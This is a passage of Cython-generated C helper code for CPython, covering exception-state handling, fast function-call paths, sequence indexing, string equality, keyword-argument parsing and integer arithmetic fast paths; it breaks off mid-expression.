tstate->exc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* PyErrExceptionMatches */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) { PyObject *exc_type = tstate->curexc_type; if (exc_type == err) return 1; if (unlikely(!exc_type)) return 0; return PyErr_GivenExceptionMatches(exc_type, err); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) { #endif PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* PyObjectCallMethod1 */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { PyObject *method, *result = NULL; method = __Pyx_PyObject_GetAttrStr(obj, method_name); if (unlikely(!method)) goto done; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(method))) { PyObject *self = PyMethod_GET_SELF(method); if (likely(self)) { PyObject *args; PyObject *function = PyMethod_GET_FUNCTION(method); #if CYTHON_FAST_PYCALL if (PyFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyFunction_FastCall(function, args, 2); goto done; } #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyCFunction_FastCall(function, args, 2); goto done; } #endif args = PyTuple_New(2); if (unlikely(!args)) goto done; Py_INCREF(self); PyTuple_SET_ITEM(args, 0, self); Py_INCREF(arg); PyTuple_SET_ITEM(args, 1, arg); Py_INCREF(function); Py_DECREF(method); method = NULL; result = __Pyx_PyObject_Call(function, args, NULL); Py_DECREF(args); Py_DECREF(function); return result; } } #endif result = __Pyx_PyObject_CallOneArg(method, arg); done: Py_XDECREF(method); return result; } /* append */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x) { if (likely(PyList_CheckExact(L))) { if (unlikely(__Pyx_PyList_Append(L, x) < 0)) return -1; } else { PyObject* retval = __Pyx_PyObject_CallMethod1(L, __pyx_n_s_append, x); if (unlikely(!retval)) return -1; Py_DECREF(retval); } return 0; } /* GetItemInt */ static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyList_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* BytesEquals */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else if (s1 == s2) { return (equals == Py_EQ); } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { const char *ps1, *ps2; Py_ssize_t length = PyBytes_GET_SIZE(s1); if (length != PyBytes_GET_SIZE(s2)) return (equals == Py_NE); ps1 = PyBytes_AS_STRING(s1); ps2 = PyBytes_AS_STRING(s2); if (ps1[0] != ps2[0]) { return (equals == Py_NE); } else if (length == 1) { return (equals == Py_EQ); } else { int result = memcmp(ps1, ps2, (size_t)length); return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { return (equals == Py_NE); } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { return (equals == Py_NE); } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } #endif } /* UnicodeEquals */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else #if PY_MAJOR_VERSION < 3 PyObject* owned_ref = NULL; #endif int s1_is_unicode, s2_is_unicode; if (s1 == s2) { goto return_eq; } s1_is_unicode = PyUnicode_CheckExact(s1); s2_is_unicode = PyUnicode_CheckExact(s2); #if PY_MAJOR_VERSION < 3 if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { owned_ref = PyUnicode_FromObject(s2); if (unlikely(!owned_ref)) return -1; s2 = owned_ref; s2_is_unicode = 1; } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { owned_ref = PyUnicode_FromObject(s1); if (unlikely(!owned_ref)) return -1; s1 = owned_ref; s1_is_unicode = 1; } else if (((!s2_is_unicode) & (!s1_is_unicode))) { return __Pyx_PyBytes_Equals(s1, s2, equals); } #endif if (s1_is_unicode & s2_is_unicode) { Py_ssize_t length; int kind; void *data1, *data2; if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) return -1; length = __Pyx_PyUnicode_GET_LENGTH(s1); if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { goto return_ne; } kind = __Pyx_PyUnicode_KIND(s1); if (kind != __Pyx_PyUnicode_KIND(s2)) { goto return_ne; } data1 = __Pyx_PyUnicode_DATA(s1); data2 = __Pyx_PyUnicode_DATA(s2); if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { goto return_ne; } else if (length == 1) { goto return_eq; } else { int result = memcmp(data1, data2, (size_t)(length * kind)); #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & s2_is_unicode) { goto return_ne; } else if ((s2 == Py_None) & s1_is_unicode) { goto return_ne; } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } return_eq: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ); return_ne: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_NE); #endif } /* None */ static CYTHON_INLINE void __Pyx_RaiseUnboundLocalError(const char *varname) { PyErr_Format(PyExc_UnboundLocalError, "local variable '%s' referenced before assignment", varname); } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a + b); if (likely((x^a) >= 0 || (x^b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_add(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_add(op1, op2); } } x = a + b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla + llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("add", return NULL) result = ((double)a) + (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a - b); if (likely((x^a) >= 0 || (x^~b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned 